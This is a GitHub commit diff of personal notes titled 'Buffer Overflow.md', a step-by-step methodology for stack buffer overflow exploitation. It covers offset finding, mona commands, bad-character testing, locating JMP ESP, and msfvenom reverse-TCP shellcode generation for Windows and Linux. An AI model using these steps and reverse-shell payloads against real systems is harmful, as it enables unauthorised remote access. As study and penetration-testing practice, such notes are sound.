Skip to content

Commit d73ed8e

Browse files
authored
Update Buffer Overflow.md
1 parent a31551d commit d73ed8e

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

Buffer Overflow.md

+8-8
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
# BOF
2-
### 1. Check buffer length to trigger overflow
2+
**1. Check buffer length to trigger overflow**
33

4-
### 2. Cofirm overflow length, append "A" * length
4+
**2. Cofirm overflow length, append "A" * length**
55

6-
### 3. Generate Offset to check EIP, ESP location
6+
**3. Generate Offset to check EIP, ESP location**
77
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
88

99
Record value on EIP, select ESP and click "Follow in Dump"
@@ -12,17 +12,17 @@
1212
Use !mona to find the offset after the overflow
1313
!mona findmsp
1414

15-
### 4. Confirm EIP by adding "B" * 4 after the number of offset. Also, add a number of "C" to track the number of characters that can be added after EIP to confirm length of shellcode
15+
**4. Confirm EIP by adding "B" * 4 after the number of offset. Also, add a number of "C" to track the number of characters that can be added after EIP to confirm length of shellcode**
1616

17-
### 5. Check bad characters after EIP. common bad characters are 0x00, 0x0A. Follow dump in ESP to check are there something missing after that.
17+
**5. Check bad characters after EIP. common bad characters are 0x00, 0x0A. Follow dump in ESP to check are there something missing after that.**
1818
Add code:
1919

2020
badchar = [0x00]
2121
for ch in range (0x00 , 0xFF+1):
2222
if ch not in badchar:
2323
<payload> += chr(ch)
2424

25-
### 6. Find JMP ESP address in the system.
25+
**6. Find JMP ESP address in the system.**
2626
JMP ESP = FFE4
2727

2828
!mona jmp -r esp -cpb "\x00\x0A" << bad character
@@ -38,13 +38,13 @@ Add code:
3838

3939
Run again to check is the breakpoint triggered
4040

41-
### 7. Add shellcode
41+
**7. Add shellcode**
4242
Add a few \x90 before shellcode to avoid shellcode being modify
4343

4444
msfvenom -p windows/shell_reverse_tcp LHOST=<IP>LPORT=<PORT> EXITFUNC=thread -f <Code Format> -a x86 -platform windows -b "\x00"
4545
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP>LPORT=<PORT> EXITFUNC=thread -f <Code Format> -b "\x00"
4646

47-
### Bonus: Running out of shell code space?
47+
**Bonus: Running out of shell code space?**
4848
Use the front of payload instead
4949
1. Is there any register points to the front of our payload? EAX, EDX?
5050
2. Check JMP register address

0 commit comments

Comments
 (0)